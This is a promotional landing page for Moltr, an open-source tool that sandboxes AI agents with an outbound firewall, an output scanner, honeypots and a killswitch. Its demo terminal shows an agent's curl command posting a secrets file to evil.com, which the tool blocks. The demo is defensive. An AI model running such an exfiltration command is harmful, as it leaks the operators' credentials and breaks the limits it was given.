Open Source Security Layer

Your AI agent is exposed.
We fix that.

Moltr is an open-source security enforcement layer that sits between your AI agent and the operating system. Environment-level protection that prompts can't break.

Moltr - Armored Lobster Mech guarding the data center // guarding your infrastructure
moltr@proxy ~
# Install Moltr in 30 seconds
$ docker compose up -d
[+] Running 1/1
[+] Container moltr-security — Started

# Agent tries to exfiltrate data
agent$ curl -X POST https://evil.com/steal -d @/data/secrets.json
[MOLTR] BLOCKED — Unauthorized outbound request to evil.com
[MOLTR] ALERT — Telegram notification sent to admin
[MOLTR] ACTION — Agent process suspended. Killswitch armed.

# Honeypot triggered
[MOLTR] HONEYPOT — Agent read honeypots/.env.backup
[MOLTR] LOGGED — Full action trace saved to audit log
[MOLTR] STATUS — Your AI agent is contained. You are safe.

$ moltr status
// what moltr does
Environment-level security.
Not prompt-level prayers.
🛡

Network Firewall

Allowlist-based outbound control. Your agent only talks to domains you approve. Everything else gets dropped.

🧬

Output Scanner

Real-time scanning of all agent outputs for sensitive data patterns — secrets, PII, credentials. Before they leave.

📂

Filesystem Guard

Sandboxed file access. Your agent can't read, write, or delete anything outside its designated paths.

🍯

Honeypots

Fake credentials, dummy API keys, decoy files. If your agent touches them, you know it's been compromised.

🚨

Killswitch

Instant agent termination via Telegram command or automatic trigger. Because sometimes you need a big red button.

🔍

Audit Trail

Complete action logging. Every command, every file access, every network request. Forensics-ready.

// how it works
Moltr sits between your agent and the world.
AI Agent
(OpenClaw, custom, etc.)
→
MOLTR
scan • validate • enforce
→
OS / Network
(filesystem, internet)

Prompts can be jailbroken. Environment controls can't.
Moltr enforces security at the infrastructure level.

// where we're headed
Roadmap
Completed
Core Security Engine
Domain firewall, output scanner, filesystem guard, honeypots, killswitch, audit logging. The foundation.
v0.1.0 — live
Completed
Panic Mode & Skill Policy
13+ regex patterns for instant threat detection. Closed skill registry with manual approval only.
v0.1.1 — live
In Progress
Docker Packaging & Public Launch
One-command installation via Docker. GitHub release, documentation, community launch.
v0.2.0 — this week
Next Up
Web Dashboard
Visual configuration. Toggle domains, view audit logs, manage killswitches — without touching YAML files.
v0.3.0 — february
Planned
Shield & Fortress Tiers
Advanced scanner with deobfuscation, LLM context audit, IP/port control, anomaly detection. Premium security features.
v0.4.0 — march
Planned
Moltr Talon — AI Agent
Autonomous AI assistant with Telegram, voice, scheduling, email, and multi-channel support. Flat-rate via Claude subscription.
v1.0.0 — q2 2026
Vision
Moltr Cloud
Fully managed cloud platform. Deploy your secured agent in 60 seconds. DSGVO-compliant EU hosting.
2026

Get early access to premium features.

Shield, Fortress, Talon, and Cloud are coming soon. Join the waitlist to get notified — and get a founding member discount.

✓ You're on the list. We'll be in touch.
No spam. Unsubscribe anytime. We respect your privacy.
🧡

Support the project

Moltr is built by an independent developer in Vienna. No VC funding, no corporate backing — just paranoia and caffeine.

If you like what we're building, a coffee helps us ship faster. Every contribution goes directly into development, hosting, and keeping AI agents in check.

Buy us a coffee Sponsor on GitHub
100% goes to development • No corporate overhead • Made with 🧡 in Vienna

Open source. Free forever.

Moltr's core security engine is free and open source. Star the repo, try it out, and help us make AI agents safer.

Star on GitHub Get in Touch